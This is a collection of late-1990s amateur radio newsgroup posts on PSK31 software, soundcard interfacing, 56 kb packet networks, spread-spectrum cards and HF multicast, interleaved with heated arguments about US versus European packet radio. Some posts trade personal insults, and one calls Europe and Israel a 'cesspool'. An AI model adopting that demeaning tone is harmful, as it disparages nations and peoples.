
Sorry - no real help for you except to mention that 6.09 (which is what I am running now on both systems) does not appear to have any fault that would result in what you are seeing.

George,

Many thanks for the speedy reply and all the suggestions it was
reassuring to know there are no software bugs causing the problem.

I have cured the trouble, but in rather an odd way! I have been having
poor connects with my internal 56K modem, frequently having to make
several tries to connect to my ISP, annoying because we get charged for
failed calls over here. This afternoon I tried a different internal
modem, which solved the connect problem and in doing so seems to have
cleared the Logger trouble too. I suppose it was an un-flagged device
conflict or something? Whatever, things are working so I can now try
Logger out properly. I've not felt the need for a computer logger before
but this program does seem to have all the bells and whistles. The PSK31
tuning display is a big improvement, I just need to get the PK232
talking to it!

Thanks again George,

Regards,

Roger Basford

>"Some assembly required" i.e. the transverter and
>amplifier you will need to make a useful system.

Two coax jumpers and a PTT connection interface the unit
to the transverter. You have to supply 13.8 VDC power, a
data cable to the computer, and a cable from the transverter
to the antenna too, of course. I suppose that's too much
"assembly" for some people.

Note, an external amplifier is not a good idea. You don't
need the extra TR delay, and any path that can't be made
with the 5-10 watts available from the transverter probably
has too much multipath to be useful anyway (though with
the FEC now built into the modems, multipath is less of a
concern).

The sites in the GRAPES network all run 4 watts or less.
We can do that due to good site and path engineering.
Alligator stations are not needed or wanted.

We use MMT (or Maple Leaf copy) transverters at most of
our sites. Some SSB Electronics, DEM, and Hamtronics units
are also used. The latter two can be had as kits, for those not
afraid of some "assembly", or they can be bought W&T too.

Not having to futz around trying to force an inappropriate FM
voice radio to handle data means that setting up a 56 kb station
is usually easier than trying to get a 9.6 kb setup going. (It can
cost less than a 9.6 kb modem and an IF modulated multimode
too. The latter is usually needed for a reasonable BER with
9.6 kb systems. We consider anything worse than 1 in 10E6,
uncorrected, as unacceptable for network use.)

Note, the modem will work full duplex, so it can serve as a regenerating repeater for a MAN, with separate Tx and Rx converters, or it can be used for a duplex trunk on a dedicated WAN link, also with separate Tx and Rx converters. It can obviously also be used half duplex by user stations at fixed or mobile locations using ordinary transverters.

It is a very easy system to set up, is cost effective, and has high performance. It is a bit slow compared to some systems used commercially, but it is the best off the shelf system available to amateurs (at least until TAPR manages to get their SS radios working, and I wonder how well they'll survive on a high RF site like those used for most of our network).

Maybe the fact that it's PSK31, not FSK31 ... to the best of my
knowledge, there IS NO "FSK31."

However, PSK31 looks pretty neat.

>
>Steve

Okay, now I've heard of these cheap SS cards that are out there from
another source, but I'm still trying to track down what exactly people
are using. These things come out in the $500 price range -- so that's
close, but not quite the $120 price you mentioned.

http://www.connectronics.com/rangelan.htm

I assume different products from different manufacturers will be
incompatible -- right? Or will any SS card talk to any other --
are there standards for this? What cards are you using to
get the 4 mile range? Do you get 1 mega-bits/s with this?

Your argument is for an rf network protected by regulation from the
"destructive" effects of the evolution of technology and the choices
available to me, and others. Obviously, the "majority" choose to do other
things or this discussion would not exist. To protect your minority
interest in the network do you propose that the fed use force or other
means of "persuasion" to resurrect interest and support? Your "sour

grapes" argument moves me not, and judging by your reasoning, precious
few others.

If "we" was central government regulation, it is possible that the
amateur radio rf data network may be alive and healthy because "our"
options would have been determined by "we". "We" regulatory and legislated
cohersion is prevelent in much of our society but not to the extent you state
and admire the European model of amateur radio operator options.

After this post I will take a hike. It is quite obvious that my reason and
discussion is wasted; it's your way or the highway. I stand to sway no one that

supports your perspective of what one facet of amateur radio should be for others that choose to do other things with their recreation time. It appears that your loss of influence in a facet of the hobby that few care about, now, has corrupted your judgement.

>> Life is too short. I am "gung ho" for the concept of a

>Internet access. It's more expensive to get Internet access there, but
>not THAT much more expensive. Those hams use the packet net because
>that's what they - as hams - want to do and enjoy.

If those folks in the US and Europe choose to develop and support an rf data network, of their own choosing without government regulatory pressure, more power to them. That argument does not recognize the mass exodus of rf packet network developers, users and supporters from the US packet network because they choose to do so. Wanna threaten them with summary execution for making personal choices inconsistent with your or

my personal desires?

>
>Making global judgments based on experiences gained within an isolated,

>score.

There is no response to the above fabricated "straw man" drivel other than.

1. I was proud of, and enjoyed my involvement in the development of an rf
packet network in my area while the support and desire of others existed and
justified my involvement. I feel no shame, guilt or recrimination against those
that chose the internet option, when it became available. The relative values
were set by the users.

2. You are a condescending twerp.

>

Yes, there is FSK31. It was developed by a Russian ham who markets Mix32W
for amateur use in PSK31. He came up with the FSK version but it has not
received much attention or press so far. His program costs $$ whereas
PSK31 and Logger, et al are free and thus are getting wider distribution
and attention.

Glad to be of whatever help, Roger.

A lot of us are turning to Logger for its excellent and comprehensive PSK31 implementation. I have never used a logging program and probably will not use Logger's capabilities all that much, but Bob's PSK31 module does a splendid job. I take pride that I introduced him to the spectral display as a tuning aid and prodded him into making it part of the program. From what I read, that is probably the most liked element of the PSK31 module.

I have not yet tried interfacing my PK232MBX since I rarely work RTTY anymore and have never worked PACTOR, but I will probably give it a try if for no other reason than to give me a keyboard CW capability should I wish to try that someday. I have successfully interfaced the program with my IC-765 radio and do PSK31 PTT via Logger software and a shared serial port to my CT-17 radio/computer interface unit. Works seamlessly and makes PSK31 that much more convenient.

Are you sure that you really need 2400 bps? If you can get by with
300bps, http://www.parallaxinc.com/ has a great little set of modules
for wireless serial transmissions. They are much cheaper than the
various faster RF/Serial links that I have seen.

3945. PSK31 and IC-706

Source record: 16648

Hello,

I am interested in using the psk31 mode with my IC-706II. What is the best way to connect the output of my soundcard to the input of the radio. If via the microphone jack is the only way, do I need an interface? Any information would be appreciated.

Thanks,

Jim

> I do not see why Hams using Radio is treated as being less important
> in the US than it is in Europe.

I don't see the facts. You say Europe (and that covers quite a few square miles) is wired, and the US is not. Please provide us with the facts:

1. How many 9.6 kbps and greater speed nodes are there?
2. Of those nodes, what is the average bytes per day transported over 20 miles?
3. Of those nodes, what is the average bytes per month transported over 20 miles?
4. How many 1.2 kbps and less speed nodes are there?

Give us the facts, not what you think. Did you just make a visit there?

If Europe was a great place to live, several million American men and women wouldn't have died in brutal warfare for the last 90 years. Two more just recently came home from Kosovo in body bags. Packet Radio is the least of their problems, or successes.

Hi,

I'm looking for some realized ideas and hints concerning wireless data modem
/ remote controller [maybe with FEC] based on 8051/AVR/PIC/ADSP.
Modulator/demodulator interface: digital [direct to uC/DSP]
Modulation type: GMSK, BPSK, FSK, AM [OOK]
Data rate: min. 2400bps
Possible transfer protocol: AX25, TCP/IP...

Should you have any links or partially related material, please let me know.
Many thanks in advance.

Tom
tom@cmk.cz

3948. High Speed Packet(128k plus)

I am a new ham. :) KC7FHI (technician no-code, woohoo!)
I am interested in packet, but I have managed to pick up on some older information about 56k RF modems and such. Even a mention that 128kbps is possible through packet. Does anyone have any guidance they can give me? I'm interested in packet- just not Charles's version of it (you really are long winded.)
I have a kenwood th-22at handheld 2 meter radio. I also have access to 2 other mobile 2 meter radio's from kenwood. What I find a great idea is to perhaps browse the net, talk, etc while on my laptop in my truck (which has a kenwood 2 meter radio in it too.)

I went to PacketRadio.com and checked out the faq's and the beginners guide. Pretty good.

See, there's new hams coming aboard everyday.

Frank.

Try:

http://www.proxim.com/symphony

These are from the same company who makes rangelan, but are consumer
grade (whatever that means).

I don't think symphony cards use the new standard 802.something, and
are probably not compatible with anything else. But then again,
everything else is twice as expensive. The cards operate at 1.6 Mbps
and 100 mW. That's not true full-duplex, but with spread spectrum,
it's not really half-duplex either. It's fast.

How does it differ from the tuning display (waterfall and
instaneous phase display) in the PSK31SBW software from G3PLX? I find
that to be all I need to tune PSK.

I've tried the MixW demo and I admit I'm completely unable to tune
anything with it -- PSK or RTTY. The instructions make no sense to me.

Hi,

I don't know the IC706 but on my IC-746 there is an accessory socket
that carries PTT, AF in & out. This is a much better place to connect
the PSK tones as it is easy to overload the mic input when taking output
from the soundcard. The only "interfacing" you might find useful is a
600/600 Ohm line isolation transformer between both the line in and line
out sockets on the card and the radio, however I haven't found these to
be necessary. The G3PLX program has full details on connecting the radio
and the pitfalls of over-driving. I use the 'PLX program, IZ8BLY's
Hellschreiber program and now Logger with the soundcard without
problems.

Make sure your microphone is unplugged if using the accessory socket and
if anyone is using an IC-746 make sure the "Monitor" switch is turned
off, this gives some strange effects when switched on!

Hope this helps,

Roger Basford

My point was well made by your reply above. That is, that you keep saying that Europe is better than the US, but have no facts, only an opinion. Hank has what appears to be facts, but I can show you a packet map of Oklahoma, and prove that 50% are gone, and another 10% are unworkable to any purpose. Doesn't mean shit, Shelock.

I've been to Europe many times. It's a cesspool by any American standard. The fact that they all war against each other to be on top of that cesspool is reason enough to ignore them. Only Israel tops them in the cesspool status.

I don't expect non-veterans to understand.

3956. Those Wide, Open Spaces

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-09-20 00:00:00 UTC
From: Charles Brabham <n5pvl@texoma.net>
Message-ID: <7s5d9d$1m4h@enews4.newsguy.com>
Source record: 16564

The USA is not alone in having a good deal of wide open spaces that cannot practically be bridged with VHF/UHF style networking. It's a big problem in most places on the planet, and nobody has bothered to seriously address the problem, perhaps because they heard the LandLine Lid "It can't be done" mantra, and mistakenly thought that the A types knew what they were talking about.

This is becoming less of a problem as more and more Hams realize how lame the entire LandLine Lid way of looking at things is, and reject their anti-ham, "It can't be done" outlook. People just can't be expected to sit on their hands and listen to gloom 'n doom forever. - And of course many hams are tired of hearing how ignorant and incompetent they are from a clique of self-absorbed geeks who are so ignorant themselves that they just can't understand basic stuff, like why hams would want to use radio to communicate... Duh!

I've been aware of one method for effectively bridging those gaps between packet nets for a several years now, and recently discovered another one. Either idea would work, but both need to be developed. One has been around for years, and fell into the TAPR "black hole"; That limbo within TAPR, where projects the LandLine Lid types do not want developed end up at. The other has not been developed because I just thought of it a few months ago, and I'm as capable of being lazy and worthless as anybody.

"Takes one to know one!" Yep, I was one of the pioneer "LandLine Lids", too, back in the pre-Internet days. Ask me about it, sometime. Since I learned my lesson and moved on to better things, I figure that I don't have anything to be ashamed of.

Doing it after you realize how destructive it is, be it out of pride, laziness or stubborn-ness.... That's shameful.

Moving right along...

HF Multicast:

AMSAT uses multicast for it's dirtside BBS's, and the NWS uses multicast for it's VHF EMWIN broadcasts. It's a proven concept that's been around a while, but not used yet on HF. - We could pioneer that, you know... Make a contribution not only to other hams, but to people around the world. We are not by any means the only ones who would benefit from the development of HF multicast. Why not continue the old tradition among hams of making significant contributions to the world's ability to communicate effectively with radio? IMHO, we should NEVER pass up opportunities like the one presented by HF multicast.

Here's how HF multicast could solve or greatly ease our problem with those wide open spaces between packet LANS:

Multicast is basically one transmitting station distributing data to an unlimited number of unconnected receiving stations. It's a broadcast system. I checked with the ARRL rules 'n regs guys before doing the first experimental HF multicast transmissions last year, and they assured me that it was as legal as church on Sunday, and make sure you don't get caught.

Being on HF, the HF multicast server operates at the standard 300 baud, but still distributes information over wide areas at a speed that is faster than point-to-point forwarding of packet messages by several orders of magnitude. You just can't build a VHF/UHF point-to-point network that will distribute the data over a large area at a speed even approaching that of HF multicast, since multicast delivers the data to a large number of stations located within a significant chunk of the planet, all at once.

It's like the difference in speed between your computer's serial and parallel ports, or the difference between a computer with a single CPU, and a parallel processor computer with multiple CPU's.
This is because multicast utilizes parallel routing instead of the serial, point-to-point routing we have all become familiar with. The concept is really simple, elegant, cheap, and very effective.

The ability of a single HF station to be simultaneously heard by many receiving stations located over a significant chunk of the planet is one of those "magic" things that HF radio does that nothing else can. It's our job as hams to identify, develop and pioneer these advantages that radio offers, not to sit on our hands and whine out a chorus of "it can't be done", or "it has to be tcpip".

The greatest benefactors of HF multicast will be hams who are located in remote areas and who have little by way of resources to work with. - That's what Ham Radio is all about, folks.

For more detailed info on this, see the article "HF Multicast - Super Fast!" on my web site, in the "Articles" section. It covers many issues there is not
room to cover in this usenet posting.

All Band Networks:

This is another idea for bridging those wide open spaces, not as good as HF multicast but still practical and it requires no actual development. It's just a more clever way of using the tools we've been using all along. It also involves parallel routing but not nearly to the same degree that HF multicast does.

HF forwarders love large-scale VHF/UHF networks, because they simplify the routing so much, and greatly expand the area a particular HF forwarding station can serve. For example: As an HF forwarder, I don't have to connect to a BBS in New York, in order to deliver a message bound for Long Island... Since the NEDA VHF/UHF net covers a number of states including New York, I can forward the message to any of those states NEDA covers (New Hampshire

will do nicely) and be confident that the message will end up on Long Island in short order. - And since I live within the coverage of a large-scale network myself, I can accept and distribute messages to Texas, Oklahoma, Missouri and Arkansas in a timely fashion. This is the way that VHF/UHF nets greatly expand the capability of HF forwarding stations. It's actually much more
powerful than I just made it look with this brief explanation.

My idea is simple: Instead of calling them VHF/UHF networks, why not organize what is already being done anyway and call them HF/VHF/UHF networks, or "all band networks", and take control of a process that has been allowed to go on for years in an uncontrolled, unorganized fashion?

If each large-scale network had a "HF coordinator", then multiple HF stations within the network's coverage area could be recruited and organized so as to eliminate duplicated efforts and organize forwarding chores with HF stations associated with other VHF/UHF nets.

The same thing can, of course, enhance the effectiveness of AMSAT BBS's and they have already taken a step in this direction by assigning individual AMSAT BBS's to serve large geographical areas. I believe that AMSAT already does what it can to locate these stations within the coverage area of large-scale VHF/UHF nets, but I'm not certain.

With this little bit of organization, routing problems can be more easily identified and dealt with, and it is possible to gain a speed advantage. If there is no route to the south, one can be deliberately developed. If the mail from the west is more than one HF forwarder can handle, additional stations within the LSN (Large Scale Network) can set up forward to the west for a "parallel routing" effect. It won't be as flabbergastingly efficient as multicast, but it still does something that the usual way of doing things cannot, and would serve to greatly enhance the connectivity between large scale VHF/UHF nets.

I think it's pretty obvious that developing RF connectivity between LSNs (or LANS, if you prefer) should be one of our very highest priorities, most especially because it is something that hasn't been done yet.

The point being made here is that if an appliance operator from Pottsboro Texas can see a couple of reasonably viable ways to attack the problem, that means that other, more knowledgeable hams could do a lot better!

The problem of communication between distant LSN's will never be solved though, by the "it can't be done" attitude being spread around the packet community by TAPR and the LandLine Lid clique. Gloom 'n doom never got a damn thing accomplished, which is why I keep suggesting an organizational enema for TAPR. After the enema, the organization will have a lot better attitude and will be ready to once again serve the interests of US hams, as they once did in years past.

I think it's high time we quit coddling the geek community and go back to the serious business of advancing and developing the art of digital amateur radio, most particularly in the US.

Long-winded! I'll have you know that I greatly resemble that remark, sir!

The LandLine Lid, "A" vision is exclusive, only having room for high-speed packet and tcpip, on the UHF and higher bands that high-speed is possible on.

The Ham Radio "B" vision is inclusive, embracing all that "A" can come up with, in addition to the entire spectrum available to hams, and every protocol hams have been able to devise or emulate for themselves. The sum total of "A" is just the tip of the "B" iceberg. There are no artificially imposed limits in "B".

Advice: Don't limit yourself to a vision propagated by antisocial geeks. You end up sharing their limitations.

Guidance: Transmission of commercial material (such as Internet banners and ads at the end of E-mail messages) and business communications that make up most web content are highly illegal over the ham bands.

Happy surfing!

Here, the issue seems to be, as I've been told by locals, not so much of
duplicating effort, but of knowing which messages go to HF forwarding,
and which go to the satellite gateway. That messages here in NCA
destined for the east coast, get uploaded to a pacsat. The deal
is that, I guess, the satellite is kind of slow, as it takes a day or so to
get downloaded. HF is much faster -- that is something forwarded over
HF will be there right away, but well, you know, it's HF. So, who knows
if the band is open or when it's going be. It's not a good thing for
messages to sit around on the HF gateways either, if they could be
uploaded to the satellite gateway.

So, the way for this to happen, I guess, is for all messages destined
for going outside of the area, to end up on a single BBS. And have
that machine, then attempt connects, through the network, over HF
links to the remote BBS's. Then if no HF link is possible, that message
goes to the satellite. At least that's how I'm figuring right now. That
is setting up to propagate NETROM nodes, or maybe just making
a node alias that connect to distant stations with Pactor -- or print an
error message saying that the channel is busy or something the connection
has timed out. (And I've been playing around with some code for
this using just a PK232, and even just Pactor 1 links, btw are hugely
more solid than HF packet links.) Me, maybe I'll get that
PTC II someday, though that $900 price tag just sort of gets me
every time.

Anyway, I'm pretty far along on the code for calling out with the
PK232, and I figure I'll stick that on my web page pretty soon. I
got an MFJ 1276 coming in here, so I can call myself to test on
the receiving end, and I'll do that when that box comes in.

Another way, maybe it could work is that somehow messages get sent,
like on a token ring type of deal to each of the HF gateways. Each

HF gateway runs through all it's frequencies to see if it can forward
the message -- and then if it can't, it passes it on to the next HF gateway.
Maybe everyone in the area always forwards to the closes HF gateway,
and then if that message has cycled around all the HF gateways that
have a chance, it then goes to the satellite gateway. I'm not sure. And
I'm not quite good enough of a 'forward.sys' guru to know how to
do this kind of thing. For aesthetic reasons, I kind of like the idea
of an HF hub bbs, that connects through to each HF gateway in order
a little better.

When I adapted my Yaesu FT212 and FT712 for HAPN 4k8 (they aren't suitable
for 9k6) it was relatively easy to make an aux connector that disables the
microphone signal when the PTT signal is received on that connector. Just
two diodes required.

Maybe you should attempt something similar in your transceiver.
in the Yaesu's it is easy because CMOS switches (intended to disable the
mike when the optional "voice recorder" module is active) are already
present in the transceiver. But it should not be difficult to add
a 4053 or 4066 CMOS switch to the circuit.

Howdy,

You are invited to my non-commercial, sometimes boring, hopefully useful, and always-undergoing-updates website. The URL is http://hfradio.org and features DX information, including QSL Route/Manager Lookups and Callbook Lookups; Propagation Center including the eAlert service (allows you to sign up an email address to the automated email propagation reports); Equidistant Azimuth Map software (allows you to create maps of any QTH); Swap and Shop; Bookstore (I've hand-picked over a thousand book titles on radio, etc.); Free website space for YOU to create your own Ham or SWL site, and there's more. Easy to navigate. Open for suggestions.

If you feel up to it, after looking around the site, drop me a note (you'll find my address on the site) and share your thoughts.

73!

>Sometimes WAY out in the country.
>5-10 watts won't cover the 50-150 mile paths required.
>Multipath can be handled by the use of appropriate antennas.

Our longest single hop is 90 miles. We do that with 4 watts.
Of course it is a mountain top to mountain top path. On an
obstructed path, all you have is multipath. Usually, you can't
resolve that with antenna orientation or gain because too many
of the multiple paths are in the beamwidth of any reasonable
gain antenna. So you have to engineer paths that clear the
first Fresnel zone.

Paths that don't qualify simply aren't used. That's just good
network engineering practice. That often means that the most
direct path isn't usable, and we have to organize the network
topology to use an alternative routing. Sometimes it means
rural hams are left out of the network unless they want to fund
multiple hops just to serve one station. That's the way it goes.

>2)
>Some of us want to build long haul networks.
>100 mile or longer paths are needed.

But they usually aren't feasible. Over the horizon isn't
tenable for fast amateur data networks. You need to
arrange your system around the idea that the average
hop must be less than 30 miles, or settle for a much
lower data rate where multipath delay doesn't cause
symbols to overlap excessively. In exceptional cases,
like the one noted above, topography may allow a

longer hop, but it will be the exception, not the rule.

You need a BER of under 1 in 10E6 or your network
performance becomes dismal out past 3 or 4 hops.
That means you have to engineer things *right* on
every link.

>Got to get the power spread.

Alligator thinking. Just being loud doesn't cut it. The
key factor is the ability to receive a clean signal.
That requires a clean path, or your BER goes through
the roof due to multipath induced intersymbol distortion.
(SS has the potential of helping significantly with that,
but we don't have any off the shelf SS equipment for
amateur use right now, and there are other problems
with SS systems co-located on high RF sites that I
expect will be difficult to resolve.)

We tried 50 and 100 watt amplifiers early on. Didn't
help. We could *hear* the alligators, but the BER was
so bad that they degraded the performance of the
entire network.

>Takes aluminium as well as silicon.
>The only other choice is to use the internet.
>That ain't ham radio. No challenge involved.

The other choice is to not succumb to alligator thinking,
and instead do the hard RF path engineering to make
the system work. It is hard work, it does require a lot of
resources, but that's how it is done. AT&Tdid it many
years ago with their RF relay network. If we want the
same RF network capabilities, we have to repeat what
they did. Physics hasn't changed.

Grandiose fast amateur RF networks spanning thousands
of miles are just a pipedream for any group with less resources
than AT&T. We can't fund it, we can't build it, we can't maintain it,
and we can't manage it. We don't have the resources or the cooperative
spirit to do it purely on amateur radio. There are too many square miles
and too few hams standing on them in the US to allow that to happen.

Perhaps in the densely populated little nations of Europe national
networks can be done, but not across our vast rural spaces. That's
sad, but it is real. We need to face up to reality and do what we are
best suited to do, and that is the smaller scope metropolitan and
relatively small regional networks that we can practically fund,
build, and maintain.

The GRAPES network covers an area of roughly 45,000 square
miles, and that's about as big as is practical for a fast amateur
network in our part of the US. We don't have the people, money,

or sites to grow it much bigger. California might be different. They have 10 times our population, and a bunch of natural high sites. I haven't seen an organization with the energy and dedication of GRAPES building a fast network out there, however.

>So you are saying these modules do not need any tune up?
>Just plug everything together, hook to an antenna, it works?
>Could you be more specific about the test gear required
>beyond your basic solder gun, screwdriver and pliers?

Netting the various transverters together on a common frequency is the only adjustment absolutely needed. That can't realistically be done by ear. You can do it by monitoring the eye pattern (with a scope) of another station known to be on frequency. If one of the group has an IFR or the like, you can use that without needing a priori to have one transverter spot on frequency.

Typically, we find that the transverters are a few kHz off frequency when first crystalled up, so they have to be netted. You don't have to get absolutely spot on, the modems use a tracking data detector that can handle up to about 5 kHz frequency error without impairing BER. But we'd like to reserve that as margin for thermal drift and component aging.

It is also nice if you can monitor the eye pattern with a scope so you can adjust the transverter PA drive of other systems for best linearity (and monitor their received eye pattern to do the same for your PA). That'll make you a better spectral neighbor, and lower BER a bit too. But we've found that with the MMT transverters, turning the drive down to get about 4 watts out always gives us a clean spectrum, so you can do it with just a Bird. (You can't get away with that with the Hamtronics units, however, for them you *really* need access to a spectrum analyzer. Nasty things unless they're tuned *just* right.)

No external test equipment at all is needed for the RF modems. There are some switch settings to configure (if the defaults don't suit you). You can select one of 10 frequencies (100 kHz spacing), select whether you want to operate duplex or half duplex, select TTL or RS422 on the computer side, select whether you want FEC or not, etc. But the modems come configured to work right out of the box and shouldn't need any adjustments unless you want something other than the default settings.

The stuff that had to be tweaked in the first generation modems has all been put into ASIC for the current modem, so there is no tune up involved. You can peak the IF filter if you like, but the modem has an internal method of doing that which doesn't require any external test equipment. You just set a jumper, then tweak for max on the signal bargraph display. It should be fine right out of the box, however.

>Where does one get these various modules?
>What is their cost?

Paccomm (and GRAPES) sell the W&T RF modems. The cost is $349.
Transverters are available from their manufacturers, or at hamfests. I
usually find MMT transverters for around $150 at most of the hamfests
I attend. They're usually crystalled for the wrong segment of the band
(the satellite or weak signal segment), so you need to spend $15 for a
new set of crystals to move them into the data bandplan. New transverters
range in price from under $200 to over $600 depending on make, model,
and band. Virtually any linear transverter will work with the modems.

You need a HDLC card in the computer too. I've personally used both
the PI-2 card ($98) and the Gracilis PacketTwin (don't know the current
cost on that one, but it is more expensive since it is full duplex DMA).
There are others. A Mac can work directly from its serial port since it
comes stock with chips that can be programmed to handle RS422 and
HDLC directly (about the only case I can think of where having a Mac is
an advantage).

Basically, you're looking at $600 to set up for 56 kb. That's more than
it costs to dedicate a TNC and radio to 1.2 kb, but not much different
from what it costs to set up to do 9.6 kb correctly (that's because you
generally have to use an IF modulated multimode to get an acceptable
BER with G3RUH style 9.6 kb).

Hello,

WB8RCR has recently posted a new version of his program, 'QSL Maker' - check it out at http://hfradio.org/wb8rcr/

This is a Windows 95 program, It will not work under Win 3.1. The program has also been used on Windows 98 and Windows NT Workstation 4.0.

- When you first bring up the program, you are shown a dummy QSL design.

- Simply enter your call and address and you have a useable, if somewhat dull, QSL.

- Your call, name and address are remembered for future launches.

- You can adjust the position, color, and font for all the elements of the card.

- You can use a Windows bitmap as a background for your card.

- Once you have the design you like, you can save it for future use. In fact, you can save any number of designs for special purposes, events, etc.

- There are 2, free-form lines for your QRP-L #, FISTS #, 10-10 #, grid square, awards, etc.

- The info block can be removed for those who would like to write this information on the back.

- Dockable toolbars, put them where you want.

- There is a full-blown installation program, and complete deinstall.

- There is extensive help.

- If you use custom colors, they are remembered across launches.

Again, this is software by WB8RCR. Come check it out.

Charles, Cathryn:

Have you guys ever heard about . . .

[begin paste]

StarBurst Communications Corporation
150 Baker Avenue, Concord, MA 01742
(508) 287-5560 Fax: (508) 287-5561
http://www.starburst.com

[end paste]

It was/is a startup company pushing a multi-cast protocol. I don't know if they are still in business or if they have been bought [Who, maybe cisco or .. . .]

Anyway, there whole system, protocol looked to my like it could handle Charlie's HF multicast idea.

Maybe they would "donate" their protocol engine to amateur radio just for the publicity.

Regards,

Peter AB4BC

>it's not really half-duplex either. It's fast.

Yeah, thanks. At $129, they do start to fall into my 'mad money' range,
for this kind of thing -- just to fuss around with, you know. I just need
to come up with another site in the SF Bay area, to link to. From an
anal-ham-radio-rules-lawyering perspective, is strictly legal to put
gain antennas on these guys -- or to put them up on towers? I could
see sticking one of those little ethernet bridge gizmos up on a mast.
Maybe a whole motherboard and net card could fit on a mast, though
that'd be a little unwieldy.

3968. Re: The Aplication Mantra

Newsgroup: rec.radio.amateur.digital.misc

Folks:

Charles:

Maybe it's time for those old Rules governing ham radio which forbid broadcasting and retransmission of commercial material and advertising on the air, to be recinded. Particularily in the case of digital networking.

If my interpertations of things are correct, those Rules were only set up at the behest of commercial services who feared that the "free" ham frequencies would be used against the commercial services. e.g in the old days of radio broadcasting, the MW AM broadcasters feared that hams might usurp their commercial positions, and the phone companies insisted on ham phone patches being illegal to protect their long distance services from free loaders using ham radio. Both of those reasons are now moot! Why keep outdated Rules? And. . . these days everyone including the Congress, the Administration, and the FCC are FOR DEREGULATION.

Perhaps there is no longer any need for such Rules.

For instance, the retransmission of email advertising banners should only help the advertisers and the free email providers. I am sure that amazon.com does not really care if orders for books come in to their www site after having passed over some network segments that were installed and operated by amateurs.

My question is. . . do the current FCC Rules forbidding these practices make any sense in today's world?

If not, maybe we should petition to have them recinded. After all, the mantra of the Internet today is "bandwidth should be free", and de-regulate to let markets govern, is that not what ham radio is all about?

Thoughts?

Peter AB4BC

Hmmm ... "external" amplifier. Didn't think I said that ...

Why any extra delay? Whether the final transistor is 10W
or 100W, the delay should be (about) the same: a few ms. max.
Certainly true for my HF radios. No reason to think vhf/uhf/shf
would be any different.

> >1)

I was talking line of sight paths. Lots of mountains here. TOO many.
Get reflections from all directions due to those big white volcano things.
So we use yagis.

> Paths that don't qualify simply aren't used. That's just good

Works where there are people or available sites. We have a real
lot of empty space, without people or roads. Often it is not feasible
to put relays in place. Cost of obtaining a site, creating road access
to it, etc. is way out of line. So we have long haul links Sometimes
those have to cross mountain ranges. Knife edge works. Not at
high data rates though, due to the problems you mention.

> >2)
> >Some of us want to build long haul networks.

> longer hop, but it will be the exception, not the rule.

Hmmm ... not talking "Over the horizon". My horizon out the
shack window is over 150 miles to the south, 70 to the east,
and about 100 to the north east. I'm not even in a REAL good
location, just "good". My horizon to the north, however, is about
one mile. But I still have a 9600 baud link in that direction, of
about 25 miles. 25W, 10 el yagis on both ends. Works well,
even though we are way out of the first Fresnel zone.

> You need a BER of under 1 in 10E6 or your network
> performance becomes dismal out past 3 or 4 hops.
> That means you have to engineer things *right* on
> every link.

Not possible. We have these hills and mountains.
The 100 mile link to the south works very very well.
However that link of 25 miles to the north would take
three relay points to make it line of sight. Oops.

> >Got to get the power spread.
>

Nice idea, but not always an option.

> We tried 50 and 100 watt amplifiers early on. Didn't
> help. We could *hear* the alligators, but the BER was
> so bad that they degraded the performance of the
> entire network.

Our experience is quite different. Without the high ERP,
we had NO LINK AT ALL.

> they did. Physics hasn't changed.

I simply do not agree. There are not resources enough to
bridge the long hauls using short hops. The money ain't
there. So it is better to do SOMETHING rather than
throw up one's hands and claim it cannot be done because
it cannot be done "perfectly".

> Grandiose fast amateur RF networks spanning thousands
> of miles are just a pipedream for any group with less resources
> than AT&T. We can't fund it, we can't build it, we can't maintain it,

> and too few hams standing on them in the US to allow that to happen.

Nonesense. It COULD be done, but not with the "I need a relay
point every few miles" or "The BER must be perfect" thinking.

> Perhaps in the densely populated little nations of Europe national

> have 10 times our population, and a bunch of natural high sites. I
> haven't seen an organization with the energy and dedication of

> GRAPES building a fast network out there, however.

California is mostly open space with no people, just like the rest
of the West. It's a BIG place. The big cities are, north to south,
with approximate distances:

Vancouver, BC - Seattle, WA - 50 miles.
Seattle, WA - Olympia/Tacoma, WA - 50 miles.
Olympia/Tacoma, WA - Portland, OR - 100 miles.
Portland, OR - San Francisco, CA - 600 miles.
etc.

Yes, there are some small cities, and a lot of small (very small)
towns in between, but few of them have enough hams (or
any hams for that matter) to support intermediate link sites.
So we have fair network from Vancouver, BC south to Portland.
Then it gets pretty thin for a long way. The reason for the long
haul links is to bring places like Eugene, OR into the network.
That took a 100 mile hop. The next hop south from Eugene
is very tough; the transverse ranges north of the Siskyous chop
the paths up into 10-20 mile chunks. For a couple hundred miles.
Then you hit the CA Central valley, and all becomes easy again.
Um ... you did have to cross Siskayou Summit and Mt. Shasta
to get there though. If one could accomplish all the above, then
one has a network roughly following I-5 down the coast.
But what about inland? More big mountains in the way.

So we use a lot of long haul to very long haul 2M 1200 baud links.
It's that or nothing.

Ok, I need a scope.

Ok, so I need to buy a scope.

DMA probably overkill (or underkill, see some of the assembler
newsgroups for interesting measurements of DMA I/O vs. programmed
I/O, I was surprised at the results). Modern machine ("Pentium anything")
can easily handle many channels of 56k data. I personally do not like
the SCC chip, but that is "hacker bigotry" and nothing else.

> There are others. A Mac can work directly from its serial port since it
> comes stock with chips that can be programmed to handle RS422 and
> HDLC directly (about the only case I can think of where having a Mac is
> an advantage).

Hmmm ... my Imsai I/O chips can do HDLC ... back to CP/M ?

> Basically, you're looking at $600 to set up for 56 kb. That's more than
> it costs to dedicate a TNC and radio to 1.2 kb, but not much different
> from what it costs to set up to do 9.6 kb correctly (that's because you
> generally have to use an IF modulated multimode to get an acceptable
> BER with G3RUH style 9.6 kb).

Things are a bit cheaper for 9600. Any old serial card will work.
Radios are available cheap (TEKK e.g).

So we have:

$349 for a modem.
$200 for a transverter for each modem.
$100 for an HDLC card.
$x for coax. ($200 for 150' hard line e.g.)
$y for antenna. ($75 - $300 depending on gain required).
$z for misc. parts, box to put stuff in, connectors, etc.

Minimum of two each of the above.

Looks like I could set up one point to point link for about $1600.
Sounds reasonable. Now all I need is someplace to put the other end.

(I'll figure the cost of scope, dvm, freq counter, Bird, etc. as what
is needed to replace my old dead test gear). This sounds like an
interesting project. Doubtful I'll find anyone within line of sight
willing to play though ... hazard of living out in the boonies.

Thank you for all the info. Is filed in my "stuff to do now that I'm
retired" folder.

These radios run in ham bands?

If not, then what do ham radio rules have to do with anything.
Oh, just ONE little thing: the FCC has been known to suspend

ham licenses for violations in other services.

>These radios run in ham bands?
>
>If not, then what do ham radio rules have to do with anything.
